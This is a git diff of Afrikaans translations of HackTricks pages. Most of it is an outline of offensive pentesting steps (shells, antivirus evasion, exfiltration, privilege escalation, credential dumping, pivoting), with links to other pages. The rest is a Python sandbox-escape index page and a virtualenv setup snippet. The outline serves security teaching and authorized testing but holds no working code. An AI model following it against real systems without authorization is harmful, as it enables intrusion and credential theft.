|
||||
|
||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, dus op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
Die **meeste van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, so op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan hierdie inligting [**hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien hulle handig is om te implementeer op **werkstrome om 'n aanvanklike webinligting te hê**, al moet jy nie verwag dat hulle baie sensitiewe kwesbaarhede vir jou sal vind nie.
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, al verwag jy nie dat hulle baie sensitiewe kwesbaarhede vir jou sal vind nie, is hulle handig om te implementeer op **werkstrome om 'n aanvanklike webinligting te hê.**
|
||||
|
||||
## Opsomming
|
||||
|
||||
> Gelukwens! Op hierdie punt het jy reeds **alle basiese opname** uitgevoer. Ja, dit is basies omdat baie meer opname gedoen kan word (ons sal later meer truuks sien).
|
||||
> Gelukwensing! Op hierdie punt het jy reeds **alle basiese opname** uitgevoer. Ja, dit is basies omdat baie meer opname gedoen kan word (ons sal later meer truuks sien).
|
||||
|
||||
Jy het reeds:
|
||||
|
||||
|
@ -623,7 +618,7 @@ Jy het reeds:
|
|||
3. Al die **domeine** wat aan die maatskappye behoort, gevind
|
||||
4. Al die **subdomeine** van die domeine gevind (enige subdomeinoorname?)
|
||||
5. Al die **IP's** (van en **nie van CDN's**) binne die omvang gevind.
|
||||
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enige vreemde dinge wat 'n dieper kyk werd is?)
|
||||
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enige iets vreemds wat 'n dieper kykie werd is?)
|
||||
7. Al die **potensiële openbare wolkbates** wat aan die maatskappy behoort, gevind.
|
||||
8. **E-posse**, **geloofsbriewe-lekke**, en **geheimlekkasies** wat jou 'n **groot wen baie maklik** kan gee.
|
||||
9. **Pentesting van al die webwerwe wat jy gevind het**
|
||||
|
@ -641,9 +636,9 @@ Daar is verskeie gereedskap daar buite wat deel van die voorgestelde aksies teen
|
|||
|
||||
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -10,13 +10,13 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hakloopbaan** en die onhakbare wil hak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,10 +32,10 @@ Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [*
|
|||
|
||||
### 1 - [Ontdekking van gasheer binne die netwerk](pentesting-network/#discovering-hosts)/ [Ontdekking van bates van die maatskappy](external-recon-methodology/)
|
||||
|
||||
**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel wees om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet** te vind (eksterne toets).
|
||||
**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel wees om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet te vind** (eksterne toets).
|
||||
|
||||
{% hint style="info" %}
|
||||
Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy toegang tot die interne netwerk van die maatskappy verkry het, moet jy hierdie gids herlaai.
|
||||
Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy toegang tot die interne netwerk van die maatskappy verkry het, moet jy hierdie gids herbegin.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Pret hê met die netwerk**](pentesting-network/) **(Intern)**
|
||||
|
@ -53,7 +53,7 @@ Sodra jy weet watter dienste hardloop, en miskien hul weergawe, moet jy **soek n
|
|||
|
||||
### **5-** Diens Pentesting
|
||||
|
||||
As daar nie 'n spog-uitbuiting vir enige hardlopende diens is nie, moet jy soek na **algemene verkeerde konfigurasies in elke diens wat hardloop.**
|
||||
As daar nie 'n spesiale uitbuiting vir enige hardlopende diens is nie, moet jy soek na **algemene verkeerde konfigurasies in elke diens wat hardloop**.
|
||||
|
||||
**Binne hierdie boek sal jy 'n gids vind om die mees algemene dienste te pentest** (en ander wat nie so algemeen is nie)**. Soek asseblief in die linker indeks die** _**PENTESTING**_ **afdeling** (die dienste is gesorteer volgens hul verstekpoorte).
|
||||
|
||||
|
@ -64,11 +64,11 @@ Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](se
|
|||
|
||||
#### 5.1 Outomatiese Gereedskap
|
||||
|
||||
Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsassesserings** kan uitvoer. **Ek sal aanbeveel dat jy probeer** [**Legion**](https://github.com/carlospolop/legion)**, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor dienspentesting wat jy in hierdie boek kan vind.**
|
||||
Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsassessering** kan uitvoer. **Ek sal aanbeveel om** [**Legion**](https://github.com/carlospolop/legion)** te probeer, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor dienspentesting wat jy in hierdie boek kan vind.**
|
||||
|
||||
#### **5.2 Brute-Force dienste**
|
||||
|
||||
In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens** te **kompromitteer**. [**Vind hier 'n Spiekbrief van verskillende dienste wat brute forcing**](brute-force.md)**.**
|
||||
In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens te kompromitteer**. [**Vind hier 'n Spiekbrief van verskillende dienste wat brute forcing**](brute-force.md)**.**
|
||||
|
||||
### 6- [Hengel](phishing-methodology/)
|
||||
|
||||
|
@ -76,9 +76,9 @@ As jy teen hierdie punt geen interessante kwesbaarheid gevind het nie, **mag jy
|
|||
|
||||
### **7-** [**Kry Skul**](shells/)
|
||||
|
||||
Op een of ander manier behoort jy **'n manier gevind te het om kode uit te voer** op die slagoffer. Dan, [sou 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde skaal te kry, baie nuttig wees](shells/).
|
||||
Op een of ander manier behoort jy 'n manier gevind te het om kode uit te voer in die slagoffer. Dan, [sou 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde skaal te kry, baie nuttig wees](shells/).
|
||||
|
||||
Veral in Windows kan jy dalk hulp nodig hê om **antivirusprogramme te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Veral in Windows kan jy dalk hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Binne
|
||||
|
||||
|
@ -90,7 +90,7 @@ As jy probleme het met die skaal, kan jy hier 'n klein **samestelling van die me
|
|||
|
||||
### **9 -** [**Uitvoer**](exfiltration.md)
|
||||
|
||||
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos bevoorregtingsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
|
||||
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos voorreg-escaleringsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
|
||||
### **10- Voorregverhoging**
|
||||
|
||||
#### **10.1- Plaaslike Voorregverhoging**
|
||||
|
@ -99,9 +99,9 @@ As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind o
|
|||
Hier kan jy 'n **gids vind om voorregte plaaslik te verhoog in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
||||
|
||||
* [**Verifikasie, Gelde, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Hoe om kredensiale te [**steel**](broken-reference/) in Windows
|
||||
* [**Verifikasie, Geldele, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)?
|
||||
* Hoe om geldele te [**steel**](broken-reference/) in Windows
|
||||
* 'n Paar truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Moenie vergeet om die beste gereedskap om Windows en Linux plaaslike Voorregverhogingsroetes op te som:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
@ -115,7 +115,7 @@ Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om t
|
|||
#### **11**.1 - Plundering
|
||||
|
||||
Kyk of jy meer **wagwoorde** binne die gasheer kan vind of as jy **toegang het tot ander masjiene** met die **voorregte** van jou **gebruiker**.\
|
||||
Vind hier verskillende maniere om [**wagwoorde in Windows te dump**](broken-reference/).
|
||||
Vind hier verskillende maniere om **wagwoorde in Windows te dump**.
|
||||
|
||||
#### 11.2 - Volharding
|
||||
|
||||
|
@ -126,9 +126,9 @@ TODO: Voltooi volharding Post in Windows & Linux
|
|||
|
||||
### 12 - Pivoting
|
||||
|
||||
Met die **versamelde kredensiale** kan jy dalk toegang hê tot ander masjiene, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
In hierdie geval kan tonneling nodig wees. Hier kan jy 'n [**post oor tonneling vind**](tunneling-and-port-forwarding.md).\
|
||||
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en kredensiale te dump.\
|
||||
Met die **versamelde geldele** kan jy toegang hê tot ander masjiene, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
In hierdie geval kan tonneling nodig wees. Hier kan jy 'n [**post oor tonneling**](tunneling-and-port-forwarding.md) vind.\
|
||||
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en geldele te dump.\
|
||||
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om te pivoteer op Windows-omgewings..
|
||||
|
||||
### MEER
|
||||
|
@ -149,9 +149,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding-orakel**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -163,7 +163,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -1,40 +1,40 @@
|
|||
# Python Sandbox Ontsnapping & Pyscript
|
||||
# Python Sandbox Escape & Pyscript
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks wilt downloaden in PDF-formaat**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om eenvoudig workflows te bouwen en te automatiseren met behulp van 's werelds meest geavanceerde communitytools.\
|
||||
Krijg vandaag nog toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Interessante pagina's om te bekijken:**
|
||||
**Interessante bladsye om te kontroleer:**
|
||||
|
||||
* [**Pyscript hacktrucs**](pyscript.md)
|
||||
* [**Python deserialisaties**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trucs om Python-sandboxes te omzeilen**](bypass-python-sandboxes/)
|
||||
* [**Basis syntaxis voor Python-webverzoeken**](web-requests.md)
|
||||
* [**Basis syntaxis en bibliotheken voor Python**](basic-python.md)
|
||||
* [**Pyscript haktruuks**](pyscript.md)
|
||||
* [**Python deserializations**](../../pentesting-web/deserialization/#python)
|
||||
* [**Truuks om Python-sandbokse te omseil**](bypass-python-sandboxes/)
|
||||
* [**Basiese Python-webversoeke sintaksis**](web-requests.md)
|
||||
* [**Basiese Python-sintaksis en biblioteke**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om eenvoudig workflows te bouwen en te automatiseren met behulp van 's werelds meest geavanceerde communitytools.\
|
||||
Krijg vandaag nog toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -42,12 +42,12 @@ Krijg vandaag nog toegang:
|
|||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks wilt downloaden in PDF-formaat**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```bash
|
||||
|
@ -39,10 +39,11 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomaties werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -52,10 +53,10 @@ Kry Vandag Toegang:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Web Versoeke
|
||||
# Webversoeke
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
